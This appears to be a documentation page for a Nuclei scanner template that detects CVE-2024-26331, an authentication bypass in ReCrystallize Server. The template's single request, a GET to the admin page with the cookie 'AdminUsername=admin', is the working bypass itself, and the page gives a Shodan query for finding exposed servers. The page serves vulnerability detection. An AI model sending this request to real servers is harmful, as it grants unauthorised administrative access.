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ReCrystallize Server - Authentication Bypass

ID: CVE-2024-26331

Severity: high

Author: Carson Chan

Tags: cve,recrystallize,auth-bypass,cve2024

Description

Section titled “Description”

This vulnerability allows an attacker to bypass authentication in the ReCrystallize Server application by manipulating the ‘AdminUsername’ cookie. This gives the attacker administrative access to the application’s functionality, even when the default password has been changed.

YAML Source

Section titled “YAML Source”
id: CVE-2024-26331


info:
  name: ReCrystallize Server - Authentication Bypass
  author: Carson Chan
  severity: high
  description: |
    This vulnerability allows an attacker to bypass authentication in the ReCrystallize Server application by manipulating the 'AdminUsername' cookie. This gives the attacker administrative access to the application's functionality, even when the default password has been changed.
  reference:
    - https://preview.sensepost.com/blog/2024/from-discovery-to-disclosure-recrystallize-server-vulnerabilities/
    - https://sensepost.com/blog/2024/from-discovery-to-disclosure-recrystallize-server-vulnerabilities/
    - https://www.recrystallize.com/merchant/ReCrystallize-Server-for-Crystal-Reports.htm
    - https://github.com/Ostorlab/KEV
  classification:
    epss-score: 0.00053
    epss-percentile: 0.21091
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"ReCrystallize"
  tags: cve,recrystallize,auth-bypass,cve2024


http:
  - method: GET
    path:
      - "{{BaseURL}}/Admin/Admin.aspx"
    headers:
      Cookie: "AdminUsername=admin"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "ReCrystallize Server Administration"
          - "License Status:"
          - "System Info</a>"
        condition: and


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f0f0fa48ec4b5dfd5d125c14ea6509be76a4a93c49146c1cdf9e1cf402a42348022100cbd2033bf4b15f11a62b6c01f1695d67fccdb98cb41dd479566a77d2835f3191:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-26331.yaml"

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